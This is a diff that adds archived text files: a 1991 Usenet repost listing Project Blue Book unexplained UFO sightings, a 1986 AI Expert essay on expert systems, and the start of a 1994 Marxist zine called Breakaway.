a.m. Witness: 3rd Mate R.C. Chamberlin, of S/ + Thetis. One luminous disc travelled at 1.5 times the speed of + satellite for 3-4 minutes. + + Summer, 1963; Middletown, New York. 9:30 or 10 p.m. Witness: + Grace Dutcher. Eight-ten lights moved at random, then in an oval + formation, then singly, during the 1 minute sighting. + + July 1, 1963; Glen Ellyn, Illinois. 8 p.m. Witness: R.B. + Stiles, ll, using a theodolite. One light, the size of a match + head at arm's length, flashed and moved around the sky for 1.5 + hours. + + Aug. 11, 1963; Warrenville, Illinois. 10 p.m. Witness: R.M. + Boersma. One light moved around the sky for 20 seconds. + + Aug. 13, 1963; St. Gallen, Switzerland. 8:04 p.m. Witness: + A.F. Schelling. One fireball became a dark object after 4 + minutes, and then a bigger glow, a minute later, and finally + exploded. Note: same witness had another, undescribed, sighting + on Aug. 14 + + Sept. 14, 1963; Susanville, California. 3:15 p.m. Witness: + E.A. Grant, veteran of 37 years training forest fire lookouts for + the U.S. Forest Service. One round object intercepted a long + object and either attached itself to the latter or disappeared. + Sighting lasted l0 minutes. + + Sept. 15, 1963; Vandalia, Ohio. 66 p.m. Witness: Mrs. F.E. + Roush. Two very bright gold objects--one shaped like a banana + and the other like an ear of corn--one remained stationary, the + other moved from west to north during 10 minutes, + + Oct. 4, 1963; Bedford, Ohio. 3:32 p.m. Witness: R.E. + Carpenter, 15. One intense oblong light with tapered ends and + surrounded by an aqua haze, flashed and flickered while + stationary for 15 seconds. + +--------Continued in Bluebook Part 6 --------------------------------- + + +-- +-* Don Allen *- InterNet: dona@bilver.UUCP // Amiga..for the best of us. +USnail: 1818G Landing Dr, Sanford Fl 32771 \X/ Why use anything else? :-) +UUCP: ..uunet!tarpit!bilver!vicstoy!dona 0110 0110 0110 Just say NO! +Illuminati < MJ-12|Greys|TLC|CFR|FED|Bilderbergs > UN = "New World Order" +Path: uuwest!spies!apple!usc!rpi!crdgw1!ge-dab!tarpit!bilver!dona +From: dona@bilver.uucp (Don Allen) +Newsgroups: alt.alien.visitors,alt.conspiracy +Subject: INFO: Project Bluebook -UNKNOWNS- Part 6 (conclusion) +Keywords: Project Bluebook UFO's +Message-ID: <1991Jul4.022145.15887@bilver.uucp> +Date: 4 Jul 91 02:21:45 GMT +Organization: W. J. Vermillion - Winter Park, FL +Lines: 525 + + + + +-------Bluebook Part 6 (CONCLUSION) -------------------------------- + + + Oct. 23, 1963; Meridian, Idaho. 8:35 p.m. Witnesses: several + unnamed students, including Gordon. One object shaped like a + circle from below and like a football from the side, hovered low + over the observers, making a deep, pulsating, loud, extremely + irritating sound, for 6 minutes. + + Oct. 24, 1963; Cupar Fife, Scotland. No time given. Witnesses: + A. McLean (12) and G. McLean (8). One light moved for an + unspecified length of time. No further details in files. Note: + Project Blue Book chief Maj. H. Quintanilla told the youngsters, + in a letter, that this was "one of the most complete" of the + unexplained cases for the year. + + Dec. 11, 1963; McMinnville, Oregon. 7 a.m. Witness: W.W. + Dolan, professor of mathematics and astronomy, and dean of the + faculty of Linfield College. One bright, star-like light + hovered, slowed, dimmed and flashed in 1 minute. + + Dec. 16, 1963; 800 miles north of Midway Island (40* N., 175* 54' + W.). 5:05 p.m. Witness: unspecified persons aboard a military + aircraft. One white light blinked 2-3 times per second as it + moved very fast across the sky for 15 seconds. + + April 3, 1964; Monticello, Wisconsin. 9 p.m. Witnesses: Mr. + and Mrs. R. Wold (he was a graduate student in anthropology). + Four huge red lights in a rectangular formation, with a white + light above, were near the ground, tilted and flew away after 3-4 + minutes. + + April 11, 1964; Homer, New York. 6:30 p.m. Witnesses: + physiotherapist W.B. Ochsner and wife. Two cloud-like objects + darkened; one shot away and returned during the 30-45 minute + sighting. + + April 24, 1964; Socorro, New Mexico. 5:45 p.m. Witness: + Socorro policeman Lonnie Zamora. Watched object with flame + underneath descend toward the desert. Two small humanoids + observed near vertical oval on ground. Later watched object take + off with a roar, go silent and fly away. Burning and charred + brush found at landing sight. + + May 9, 1964; Chicago, Illinois. 10:20 p.m. Witness: J.R. Betz, + U.S. District Court reporter. Three light green crescent-shaped + objects, about half the apparent size of the Moon, flew very fast + in tight formation from east to west, oscillating in size and + color for 3 seconds. + + May 18, 1964; Mt. Vernon, Virginia. 5:15 p.m. Witness: civil + engineer F. Meyers. One small, glowing white oval split twice + after moving from the right of the Moon around to the left. + Sighting lasted 17 minutes. + + May 26, 1964; Cambridge, Massachusetts. 7:43 p.m. Witness: P. + Wankowicz, RAF pilot and ex-Smithsonian satellite tracker. One + thin, white ellipsoid (3.5 times as long as wide) flew straight + and level for 3-4 seconds. + + May 26, 1964; Pleasantview, Pennsylvania. 11 p.m. Witness: + Rev. H.C. Shaw. One yellow-orange light, shaped like the bottom + of a ball, was spotted in a field and chased down the road for 2 + miles. + + June 13, 1964; Toledo, Ohio. 9:15 p.m. Witness: B.L. English, + announcer for radio station WTOD. Three glowing white spheres, + glowing red on their sides, moved slow, hovered and then moved in + circles very fast, all the while making a low, rumbling sound. + + July 16, 1964; 15 miles south of Houghton Lake, Michigan. 11:15 + p.m. Witness: Northern Air Service pilot K. Jannereth. Four + white lights in a stepped-up echelon formation, were joined by + two more. They closed in on the airplane, then rapidly slowed nd + flew along with it for a total of 5 minutes. + + July 20, 1964; Littleton, Illinois. 4:45 a.m. Witness: J.J. + Winkle. One 60' diameter round-topped, flat-bottomed object with + a long acetylene-colored flame shooting downward, flew straight + and level, made a half loop, then rose up. Sighting lasted l + minute. + + July 27, 1964; Norwich, New York. 7:30 p.m. Witness: + Duabert, engineering supervisor. One aluminum sphere with a + luminous ring, remained stationary for 4-5 minutes. + + July 27, 1964; Denver, Colorado. 8:20 p.m. Witness: A. Borsa. + One white ball of fire, the size of a car, climbed slowly, then + speeded up. Sighting lasted 2-3 minutes. + + Aug. 10, 1964; Wake Island. 5:16 a.m. Witnesses: aircraft + commander Capt. B.C. Jones and navigator lst Lt. H.J. Cavender, + in parked USAF C-124 transport plane. One reddish, blinking + light approached the runway, stopped and made several reverses + during 2 minutes. + + Aug. 15, 1964; New York, New York. 1:20 a.m. Witness: S.F. + D'Alessandro. One 10'x5' bullet-shaped object with wavy lines on + the rounded front part and six pipes along the straight rear + portion, made a "whishhh" sound. Witness' dog growled during + . + sighting. + + Aug. 15, 1964; Yosemite National Park, California. 8:15 a.m. + Witnesses: E.J. Haug, of the San Francisco Orchestra and the San + Francisco Conservatory of Music; and C.R. Bubb, a high school + mathematics teacher. Three bright silver, round objects, in a + stack formation, flew very fast, changing positions within the + formation. The sound of rushing air was heard during the 3-4 + second sighting. + + Aug. 18, 1964; Atlantic Ocean, 200 miles east of Dover, Delaware. + 12:35 a.m. Witnesses: Maj. D.W. Thompson and First Pilot lst + Lt. J.F. Jonke, on a USAF C-124 transport plane. One round, + blurred, reddish-white object was on a collision course with the + C-124 from ahead and below. The airplane evaded the object. + Sighting las ted 2 minutes. + + Sept. 10, 1964; Cedar Grove, New Jersey. 7:09 p.m. Witness: + chemist P.H. DePaolo. Four white lights, 3-4 apart, were seen + to the north, going west for 45 seconds. + + Nov. 14, 1964; Menominee Falls, Wisconsin. 9:40 p.m. Witnesses: + Dr. G.R. Wagner, MD; and two girls. Three dim, reddish lights + flew through a 160^ arc in 5-6 seconds. + + Nov. 19, 1964; 1,400 miles east of Tokyo, Japan (34' 55' N., 164* + 05' E.). Witnesses: unidentified military persons. One bright + white flashing light was travelling from horizon to horizon in 20 + seconds. + + Jan, 23, 1965; Williamsburg, Virginia. 8:40 a.m. Witness: Mr. + T.F. Mains. One mushroom or lightbulb-shaped object, 75-80' + high, 25' diameter on top and l0' bottom diameter; metallic grey + with a red-orange glow on the near side and a blue glow on the + far side. The object made a sound like a vacuum cleaner. The + witness' car electrical system was affected as the object moved + away at an altitude of 4'. The sighting lasted 25 seconds. + + March 4, 1965; Corvallis, Oregon. 9:23 p.m. Witness: W.V. + Harrison. Three lights rose from the ground, several seconds + apart. The next day, an oily spot was found at the site. + + March 8, 1965; Mt. Airy, Maryland. 7:40 p.m. Witness: J.H. + Martin, instrument maker for U.S. Bureau of Standards. Six + lights flew overhead slowly for 3 minutes. + + April 4, 1965; Keesler AFB, Mississippi. 4:05 a.m. Witnesses: + USAF A/2c Corum, a weather observer; confirmation by college + student R. Pittman not clear from available data. One 40' black, + oval object with four lights along the bottom, flew in and out of + the clouds for 15 seconds. + + May 7, 1965; Oxford, Michigan. 7:30 p.m. Witness: M.E. + Marshall. One light, like a satellite, split into two parts, one + of which was copperish color, then two more joined up. One + object may have been tumbling. Sighting lasted 1 minute. + + July 6, 1965; Kiel, Wisconsin. 9:30 p.m. Witness: Mrs. E.R. + Hayner. One flashing light, like a satellite, was seen for less + than 1 minute. No further data was in the files. + + July 25, 1965; Castalia, Ohio. 9:15 p.m. Witness: amateur + astronomer M.D. Harris, 16. One bright blue star crossed 90 of + sky in 10-15 seconds. + + Aug. 4, 1965; Dallas, Texas. 9:30 p.m. Witness: J.A. Carter, + 19. One light flew fast, straight and level for 12 seconds. No + further data in files. + + Aug. 4, 1965; Tinley Park, Illinois. 11:35 p.m. Witnesses: two + unnamed 14 year olds. One light moved around the sky for 16-17 + seconds. No further data in files. + + Aug. 19, 1965; Cherry Creek New York. 8:20 p.m. Witnesses: + Mrs. William Butcher, son Harold, 17, and children. A large + elliptical object, with a reddish vapor underneath, came close to + the ground, then shot straight up into the clouds a few seconds + later. Radio drowned out by static, a tractor engine stopped. + When the object was on the ground, a steady beeping sound could + be heard. Afterwards, a strange odor was noticed, and the next + day, a purplish liquid, 2"x2" marks and patches of singed grass + were found at the site. A bull bellowed and tried to break its + bonds. + + Aug. 30, 1965; Urbana, Ohio. 10:30 p.m. Witnesses: M.A. Lilly, + N. Smith, T. Nastoff. One white ball, 5-8' in diameter and + trailed by a 2-3' light, hit the road 100' in front of the + witness' car, bounced and flew away. Sighting lasted 3-4 + seconds. + + Sept. 3, 1965; Exeter, New Hampshire. 2 a.m. Witnesses: Exeter + Patrolmen Eugene Bertrand, Jr. and David Hunt, and Norman + Muscarello. One large, dark, elliptical object with a row of red + lights around it, moved slowly and erratically around houses and + trees, while lights blinked in sequence. Farm animals were very + noisy. Sighting lasted about 1 hour. + + Sept. 3, 1965; Damon, Texas. 11 p.m. Witnesses: Brazoria + County Chief Sheriff's Deputy Billy McCoy and Deputy Robert + Goode. One triangular object, 150-200' long, 40-50' thick at + middle and dark grey, with a long, bright, pulsing, purple light + on the right side and a long blue light on the left side. Came + from distance to 150' off highway and 100' in the air. Purple + light illuminated ground beneath object and interior of police + car. Driver felt heat on his left arm. Initial sighting lasted + 5-10 minutes. Second sighting.occurred later that night. + + Sept. 25, 1965; Chisholm, Minnesota. 9:55 a.m. Witness: Bett + Diamon. Five orange lights in a row flew fast and made an abrupt + turn during the 1 minute sighting. + + Sept. 25, 1965; Rodeo, New Mexico. 10 p.m. Witnesses: Dr. + George Walton, physical chemist, and wife. Two round white + objects flew side-by-side, at 30-50' altitude, pacing the + witnesses' car for 6 minutes. + + Oct. 4, Middletown, Ohio. Wiitness: Tucker. Case missing + from official files. + + Feb. 2, 1966; Salisbury, North Carolina. 11:15 p.m. Witnesses: + Mr. and Mrs. L.J. Wise. One silver, diamond-shaped object with + several balls constantly in very fast motion around it, and much + light. Object hovered over the trees for 3-4 minutes, while a + dog barked, and then zipped out of sight. Sighting lasted 1 + hour. + + Feb. 6, 1966; Nederland, Texas. 5:45 a.m. Witnesses: Mr. and + Mrs. K.R. Gulley. One yellow, lighted object at 500; altitude + and a pulsating red glow on the lawn. The house lights went out, + and high frequency bothered the witnesses' ears. Sighting lasted + 5-10 minutes. + + March 20, 1966; Miami, Florida.. 12:15 a.m. Witness: USAF Res. + Maj. K.C. Smith, employee of NASA at Cape Kennedy. One pulsating + light which varied from white to intense blue made a jerky ascent + and then rapidly accelerated away to the north after 5 minutes. + + March 22, 1966; Houston, Texas. 1:30 a.m. Witness: S.J. + Musachia. White flashing lights, and the air full of smoke. Lit + up witness' apartment. Sound of "yen " heard up close + during 4 minute sighting. + + March 23, 1966; Temple, Oklahoma. 5:05 a.m. Witness: W.E. + Laxson. One large object, like a wingless C-124 transport plane; + 75' long, 8' high and 12' wide; with a bubble canopy on top. Sat + on highway, a man dressed in military work clothes entered, and + it rose after about 40 seconds. + + March 26, 1966; Texhoma, Oklahoma. Midnight. Witnesses: Mrs. + P.N. Beer and Mrs. E. Smith. One flashing light buzzed their car + from the front then hovered. Sighting lasted l0 minutes. + + April 5, 1966; Alto, Tennessee. 11:55 p.m. Witness: W. Smith. + One oval object with a dark top, appeared cone-shaped when + moving. It made a high-frequency noise during the 2.5 hour + sighting. + + April 5, 1966; Lycoming, New York. 3 a.m. Witness: Lillian + Louis. One vapor-like sphere hovered and spun at low altitude, + shooting its exhaust onto the ground below. Sighting of 1 + minute. + + April 30, 1966; Sacramento, California. 3:15 a.m. Witness: + Anita Miller. One light moved around the sky for 2.5 hours. No + further detail in files. + + May 7, 1966; Goodfellow AFB, Texas. 9:55 p.m. Witness: A/3c + W.L. Whitehead. One short, cylindrical object with pointed ends + and a yellow light at one end and blue light at the other, flew + straight and level for 35 seconds. + + June 6, 1966; Spooner, Wisconsin. 9:30 p.m. Witness: Dorothy + Gray. Two domed discs with sparkling upper surfaces and square + windows in their tops, revolved above a lake, apparently causing + strange behavior of the lake water during the 25 second sighting. + + June 8, 1966; Kansas, Ohio. 6:45 a.m. Witness: Max Baker. One + bright silver, cigar-shaped object, as long as an airliner, + buzzed the witness' car. Sighting lasted 1 minute. + + June 18, 1966; Burnsville, North Carolina. 12:30 a.m. + Witnesses: members of a Boy Scout group, including Sterrett. + One bell-shaped object with three flashing red lights hovered for + 5 hours and was then joined by six others. + + June 27, 1966; 400 miles east of Wake Island (19* N., 172* E.). + 4 a.m. Witness: Radio Officer Steffen Soresen, of the S/ Mt. + Vernon Victory. One "cloud" expanded with a light inside, and + then accelerated away after several minutes. + + July l1, 1966; Union, Pennsylvania. 7:45 p.m. Witnesses: Carl + Wood and Charles Hawthorne. One large (100' wide, 20' high) + bright red object with small windows and yellow lights. The + object emitted a humming noise, seemingly from the outside, and a + qrinding noise which seemed to come from inside. Observed for 1 + hour. + + July 25, 1966; Vanceboro, North Carolina. 1 a.m. Witness: + college student James Clark. One object which changed color from + orange to red to blue to green and back to orange. Followed + witness' car at high speed, then stopped and hovered over the + car. Rose and flew up and out of sight in less than 5 seconds. + Entire sighting involved about 1 hour. + + July 31, 1966; Presque Isle State Park, Pennsylvania. 7:25 p.m. + Witnesses: Douglas Tibbetts, 16; Betty Klem, 16; Anita Haifley, + 22; and Gerald Labelle, 29. Square or hexagonal object with + edges lit or reflecting light, came tumbling down from right to + left. Stopped 5-10' above the beach and settled heavily down; + circle of spotlights at top were visible when it was on the + ground. Sighting lasted 5 minutes. . + + Aug. 19, 1966; Donnybrook, North Dakota. 4:50 p.m. Witness: + U.S. Border Patrolman Don Flickenger. Round disc with domed top, + 30' in diameter and 15' high, colored white, silvery or aluminum. + Moved across a valley from the southeast, hovered over a + reservoir, appeared to land in a small field, then rose up into + clouds very rapidly. Sighting lasted 5 minutes. + + Aug. 23, 1966; Columbus, Ohio. 77 p.m. Witnesses: Broomall and + Gilpin. One circular, luminous white object split into five + objects and all streaked away toward the west. Sighting lasted + 15 minutes. + + Aug. 26, 1966; Gaylesville, Alabama. 8:50 p.m. Witnesses: Mr. + and Mrs. Funk and their three children. A cluster of four small, + glowing, orange-yellow lights in a triangular formation, moved + from east to west for 4.5 minutes. + + Sept. 1, 1966; Willsboro, New York. 2:45 p.m. Witness: T.H. + Ridman. One oval object with lights that flashed red and white + and occasionally blue, travelled west, then disappeared downward. + It returned, several minutes later, at which time a loud noise + was heard. The entire sighting lasted 30 minutes. + + Sept. 6, 1966; Suffolk County AFB, New York. 6:50 p.m. + Witnesses: Stahl and Ladesic. One white cylinder of light came + from the east at high speed, stopped and hovered for 3 minutes, + and then turned and slowly disappeared. Sighting lasted 8 + minutes. + + Sept. 9, 1966; Franklin Springs, New York. 9 p.m. Witness: + Jacobson. One solid object, larger than an army tank, with + lights all around it, made a low humming sound and disappeared + into woods at the end of the 30 minute sighting. + + Sept. 13, 1966; Gwinner, North Dakota. 7:30 a.m. Witness: + Rotenberger. One silvery-grey ellipse with a clear bubble + protruding from its top, hovered about a mile away, then landed + within 300 yards and took off very fast. It made a low-pitched + whine during the 5 minute sighting. + + Sept. 28, 1966; Wilmington, Ohio. 3:38 p.m. Witness: Clarke. + Three round, oval-shaped, aluminum-colored objects with rotating + rings around them. Two remained stationary, while the third + varied its altitude during the 90 second sighting. + + Oct. 5, 1966; Osceola, Wisconsin. Witnesses: several members of + one family. One small, bright orange, moon-shaped object + remained stationary in the northeast for about 20 minutes, then + suddenly took off very fast to the WNW. + + Oct. 23, 1966; Southhampton, Long Island, New York. 6 p.m. + Witness: Mr Acquino. One object with arms in front of it which + sparkled like an arc-light. Traveled south along some power + lines, then turned southwest. Made a slight humming sound during + the 4 minute sighting. + + Oct. 26, 1966; Cold Bay Air Force Station, Alaska. No time + given. Witness: civilian control tower operator Ralston. One + white object approached runway at 50' altitude. Runway lights + were then turned on, and object accelerated and climbed away so + fast that witness was unable to use binoculars. Sighting lasted + 3 seconds. + + Nov. 8, 1966; Saginaw, Michigan. At night. Witness: college + graduate Annis. A group of lights that flashed and changed color + hung stationary, almost touching the road, and would abruptly + vanish during the 5 minute sighting. + + Dec. 25, 1966; Monroe, Oregon. 33 a.m. Witnesses: civilians and + military persons. Three round objects, as large as cars, gave + off vapor, then became three bright reddish-orange lights. Blast + at beginning of 90 minute sighting pushed one witness against a + car. + + Feb. 6, 1967; Odessa, Delaware. 8:45 p.m. Witnesses: Donald + and Marie Guseman. One large, Saturn-shaped object--5O' in + diameter and 20' high--with two bright lights, a green light on + one side and a red light on the other. Hovered motionless over + the trees, then slowly moved north and suddenly disappeared after + 2 minutes. + + Feb. 12, 1967; Grand Rapids, Michigan. 3:40 a.m. Witness: Mr. + Lou Atkinson. Four fluorescent, football-shaped objects, a dull, + almost grey luminous color; flew northeast in a very rigid + formation for 4-10 seconds. Made a chirping noise. + + Feb. 16, 1967; Stoughton, Wisconsin. 9:11 p.m. Witness: Miss + Lynn Marsh. One light with faded edges seemed to follow observer + in her car for 5-6 minutes. + + Feb. 20, 1967; Oxford, Wisconsin. 3:10 a.m. Witness: USAF + veteran/truck driver Stanton Summer. One orange-red object flew + parallel to truck for 2 minutes. + + Feb. 27, 1967; Grand Haven, Michigan. 8:19 p.m. Witnesses: + Sheriff Grysen, wife and others. Large white light, with smaller + red and green lights seen to the sides. Made almost + instantaneous 90^ turn to left, shot out over road and stopped, + moving too fast to follow. Sighting lasted 1 hour, 11 minutes. + + March 6, 1967; Benton Harbor, Michigan. 12:01 a.m. Witnesses: + Jerome Wolanin, assistant news director of radio station and + former policeman, and wife. One round saucer or oval-shaped + object with red, green and yellow lights around bottom rim which + pulsated red. Flew level, east to west, and was joined by second + object from west. First object opened top, second came over and + hovered for 30 seconds and disappeared. Sighting lasted more + than 40 minutes. Objects made hissing sound. + + March 6, 1967; Galesburg-Moline, Illinois. 4:25 a.m. Witness: + Deputy Sheriff Frank Courson. One object shaped like a rubber + cup which is placed under furniture leg, with a dome set in the + cup. Bottom of object spun rapidly, rim pulsated red. Approached + witness and passed overhead at low altitude, making a hieeing + sound. + + March 9, 1967; Galesburg, Illinois. 7:10 p.m. Witnesses: two + housewives. One object shaped like a pancake with a rounded top; + object was pulsating red, with red lights around its rim. + Approached witnesses and seemed to explode with a brilliant white + light that lasted 10 seconds and almost blinded them. Then it + accelerated to the north and disappeared. + + March 9, 1967; Onawa, Iowa. 9:05 p.m. Witness: Jack Lindley. + One bright white, saucer-shaped object, as big as a jet airliner, + flew straight and fast to the east for 2 minutes. + + March 22, 1967; Wapello, Iowa. 10:20 p.m. Witness: Douglas + Eutsler, 15. Fluorescent, solid, multicolored lights stood + still, then flew away at high speed after 1 minute. + + March 24, 1967; Belt, Montana. 99 p.m. Witness: truck driver + Ken Williams. One dome-shaped object, emitting a bright light, + landed in a ravine. As the witness approached, it took off and + settled back, hidden from the highway. Sighting lasted several + minutes. + + March 26, 1967; New Winchester, Ohio. 4 p.m. Witnesses: man, + woman, three boys. One oval object, which looked like copper or + brass with the sun shining on it, flew from southeast to + northwest with tumbling motion for 30 minutes. + + May 17, 1967; Rural Hall, North Carolina. 8:30 p.m. Witness: + Red Ledford. One round, orange-colored object, similar in size + to a small aircraft, zigzagged back and forth over a jet that was + heading northeast for 5 minutes. + + June 24, 1967; Austin, Texas. 3:12 a.m. Witness: artist Ray + Stanford. One solid, blue-white, elliptical object flew from + northwest to northeast and stopped, seemingly in response to + flashlight signal, for 1.5 minutes. The object then proceeded + along its original path at high speed and disappeared behind + clouds. Sighting lasted 9 minutes. + + June 29' 1967; Scotch Plains, New Jersey. 1:30 a.m. Witness: + truck driver Damon Brown. One oyster-shaped object--2OO' wide, + and 25-30' thick--with a huge red light at each end and one on + the bottom, and a row of blue lights along the bottom. Circled + m.n aircraft, hovering then moving rapidly, and then followed the + witness' car for about 500', veered south and departed at great + speed after 8-10 minutes. + + July 10, 1967; Lizelia, Mississippi. 5:50 p.m. Witness: golf + pro Harold Washington (Capt, USMC, ret.). One object with a + dome, the top colored gunmetal blue, the bottom the color of old + lead. Moved east, crossed the highway tilted upward, moved to + the right, accelerated and disappeared into the clouds after 3-5 + seconds. Object made a swishing sound. + + Oct. 18, 1967; Lake Charles, Louisiana. 9 p.m. Witness: John + Herbert. One bright, fiery ball flashed four times while moving + east, just above the tree tops. Sighting lasted 1 minute. + + Feb. 9, 1968; Groveton, Missouri. 4:20 a.m. Witness: Mr. R.W. + Bland. One object, 100' in diameter, with concave sides having + "portholes" in the center of each gave off yellow-green light. + Hovered 25' above ground, then moved rapidly toward the + southwest. Gave off pulsating sound, like a length of wire + whirled at high speed above the head. Sighting lasted 1-5 + minutes. + + Sept. 15, 1968; near Ocala, Florida. 9:30 p.m. Witness: + missionary pilot Jay Cole, flying a Beech C-45 twin-engined + utility plane. One light performed aerobatics for 15 minutes and + then vanished. A second light appeared, heading toward them on a + collision course, made a 90* turn and disappeared. Later, ground + radar told them a target was following them. Sightings lasted 15 + minutes. + + Nov. 23, 1968. Newton, Georgia. 8:05 p.m. Witness: Mr. Jones, + accountant. One oblong light, 120-150' wide. Hovering 75' above + the ground, it emitted a beam that lit the ground. Radio gave + off static, then car engine stopped. Light flew away vertically + and car engine restarted itself. Sighting lasted 3-4 minutes. + + Jan. 17, 1969; Crittenden, Virginia. 3:24 a.m. Witness: Mr. + Roman Lupton, test facility mechanic. Several amber lights--one + of them blinking--in an elliptical formation, flew forward slowly + while moving up and down, then turned and disappeared after 2 + minutes. Made a humming sound. + +-----END OF ARTICLE -------------------------------------------------- + + +-- +-* Don Allen *- InterNet: dona@bilver.UUCP // Amiga..for the best of us. +USnail: 1818G Landing Dr, Sanford Fl 32771 \X/ Why use anything else? :-) +UUCP: ..uunet!tarpit!bilver!vicstoy!dona 0110 0110 0110 Just say NO! +Illuminati < MJ-12|Greys|TLC|CFR|FED|Bilderbergs > UN = "New World Order" diff --git a/textfiles.com/magazines/MISC/brain.nov b/textfiles.com/magazines/MISC/brain.nov new file mode 100644 index 00000000..787d48bc --- /dev/null +++ b/textfiles.com/magazines/MISC/brain.nov @@ -0,0 +1,164 @@ + + + Brain Waves + "Viewpoint" + November 1986 AI EXPERT + + by Alex Jacobson, President, + Inference Corporation + + + +Expert systems technology enables computer to use human +expertise, judgments and knowledge to solve business problems in +an emulation of the way human experts do. There is considerable +evidence to suggest that this technology, when applied to a well- +focused, sufficiently well-defined domain of interest (e.g., +authorization of a specific type of credit card, diagnosing of +faults in a specific piece of equipment, scheduling of a specific +fleets of vehicles in a specific geographic area or configuring +of a specific set of machines on a specific factory floor) can +provide human workers who operate in the targeted domain with +computer support at levels of performance equal to or better than +the best human experts in the domain. + +The benefit of this capability is to enable computers to +formulate decisions, to draw conclusions and to propose actions +in response to the wide variety of unstructured or poorly +structured problems with which only humans could contend +heretofore. As a result, this technology makes it possible for +computers to do the same sorts of tasks that professionals and +white collar workers presently do in the work force --a necessary +accomplishment if these workers are to receive automation. The +significance of these capabilities is more far reaching than the +technical content, per se, implies. The reason is that expert +systems technology has matured at a time when the computer +industry as a whole is moving through a major transition. The +computer industry has, over the past 30 years, fulfilled much of +its promise in automating clerical level functions (typing +drafting, bookkeeping, inventory management, listings, records +keeping etc.). Business and industry is now focusing attention on +strategic uses of computers in mission-critical applications. +These applications, a prime example of which is the American +Airlines Saber System, can provide a major competitive edge to +companies able to conceive and to implement them. White collar +workers implement business strategies, hence it is this segment +of the work force that will be targeted for computer automation +as strategic uses of computers are undertaken in business. Expert +systems technology is a critical component for delivering this +automation to the professional, technical and administrative +workers who implement mission-critical applications in business +and industry. This propitious timing between a new capability +(i.e., expert systems) and a new requirement (i.e., mission- +critical applications of computers) explains the unusual sense of +importance that is attributed to expert systems technology +throughout the world. + +Expert systems technology is primarily targeted for use in +applications software and in software tools that support the +development and operation of applications and systems software. +The fundamental difference between an expert system and a +traditional application program is that such an expert system is +rich in knowledge about the solution of problems in the +application domain in which the expert system operates; whereas +traditional applications are rich in the procedural knowledge +that instruct the computer how to process data to solve the +problems in the domain in question. It is this richness in +knowledge that makes expert systems an enabling technology for +the use of computers in mission-critical applications. +Nevertheless, expert systems contain procedural knowledge with +which to instruct the computer and traditional applications +contain knowledge about the problem solving. It is the higher +density and the greater extent of knowledge about problem solving +that distinguishes expert systems from traditional applications +programs, and provides them with their unusual functional power. + +This fundamental difference leads to all of the basic differences +in the underlying tools, technology and programming methodologies +(i.e., knowledge engineering) that set the practice of expert +systems apart from that of conventional software engineering. In +order to elicit deep and extensive knowledge about problem +solving in any but most straightforward industrial task areas, it +is necessary for the software engineer to develop the expert +system by means of an iterative or evolutionary development +process. The reason is that humans cannot divulge the deep and +subtle levels of knowledge about their problem solving expertise +that industrial class expert systems require, and are able to use +effectively in a straightforward debriefing process. Rather, it +is necessary that the software engineering methodology be capable +of supporting a development regimen that permits knowledge +obtained by debriefing to be built into an operating partial +application so that areas of mission knowledge (i.e., knowledge +not accessible by straightforward interview) can be identified +and then added to the partial application to create a more +complete, yet, perhaps still partial application, which can then +be used to find still less accessible areas of germane knowledge +which in turn can be added to the system, and so on. This method +of evolving the expert system into existence is called "bottom- +up-discovery", and is the distinguishing feature of knowledge +engineering. + +Expert systems tools contain the AI technology required to +support the process of knowledge engineering for building expert +systems. They contain the structures required to store a variety +of different types of knowledge paradigms, an inferencing engine +that permits this knowledge to be used as the system evolves even +though the knowledge is added to the system incrementally, +systems software that allows the knowledge engineering to browse, +modify, add, delete, understand or otherwise manipulate the +knowledge in the evolving knowledge base, and tools to assist the +knowledge engineer to build the expert system including the user +interface of the resulting expert systems. These tools serve the +purpose of accelerating the pace with which this new technology +can be effectively applied. + +Expert systems technology is basically a software technology. +While it has almost exclusively been developed in Lisp, and, in +recent years, Lisp machines, like all other software technologies +it is intrinsically portable to other languages and to other +classes of computers. This is of vital importance. To realize +their full potential, expert systems must fulfill their role in +mission-critical applications. This requires that expert systems +operate effectively and efficiently in conjunction with existing +computer environments. Hardly any of these existing environments +support Lisp or incorporate Lisp machines. Since expert systems +technology is portable, it is clear that it must be ported to +mainstream computers and connected to mainstream software at the +levels of traditional languages, systems software and +applications programs. This requirement cannot be evaded -- nor +need it be. + +Finally, there is the question of culture. Expert systems are +computer applications that arise from a technology culture that +is substantively different from the culture that has created +traditional computer applications. Cross culture communication is +always difficult. It will be no different in this instance. It +promises to be one of the more formidable obstacles to +commercialization of expert systems. Not only does the +applications programming community face the challenge of +assimilating this new technology, but business operations +management as well as end-users also must become both familiar +and comfortable with expert systems and their implications as +these systems move into the front office. Management faces the +challenge of managing business practices in which the underlying +logic of the practice has been made explicit for the first time +and for which accountability of performance is documented with +the scrupulousness of which only computers are capable. End-users +who have never before used computers must become comfortable with +these new mechanical assistants -- no simple task given the +anxiety often incurred by computers in people who have no +predilection for machines. + +Although these obstacles are formidable, they can and will be +transcended. The benefits of industrial scale expert systems to +the businesses that employ them promise to be too great for these +transitional burdens to be anything but passing challenges. +DP/MIS workers, end-user computing programmers, applications +software vendors, all will benefit from their efforts to adopt +this new technology. Therefore, expert systems software will +inevitably lose its singular name and become "just another" +commercial software technology as the computer industry continues +to support the growth of business throughout the world. + +commercial software technology as the computer industry continues +to support the growth of business \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/break1n1.txt b/textfiles.com/magazines/MISC/break1n1.txt new file mode 100644 index 00000000..d8dd893c --- /dev/null +++ b/textfiles.com/magazines/MISC/break1n1.txt @@ -0,0 +1,837 @@ + + At last! + + Here comes the first issue of Breakaway. Sorry it took so much +longer than planned, but I've been having a lot of problems both with +getting the translations done, and also with my e-mail account. + + Not only have my site been "swallowing" a lot of outgoing mail (so +if you haven't got a reply to some message, this is probably why - +please mail me if you've been waiting more than 3-4 days for my reply), +but in addition a hacker managed to shut me out of the system recently, +giving me a short message about old Vladimir beeing stoned on acid +before throwing me off each time I tried to log on... + + So, that was the excuses, here comes the zine. Hope you like it. +All comments, flames etc. can be directed to NIL:, uh, sorry, to the +editor (that's me...) + + As you'll see, the main feature is an article I believe should +provoke some responses (hopefully...), and responese to the articles +is a necessity if we're going to publish anymore than a few numbers +of this zine. Time to start submitting, folks... + +Vidar Hokstad +Red Forum / Internationlists Committee + + + +BEGIN BREAKAWAY.001 + + + + + + + B R E A K A W A Y + + Debates on modern marxism + + + -+*+- + + + Issue no. 1, volume no. 1 + + + May 1994 + + + + + +======================================================================= +CONTENTS +----------------------------------------------------------------------- + +(00) EDITORIAL + Breakaway - an introduction + +(01) THE MANIFESTO TODAY + "Manifesto of the Communist 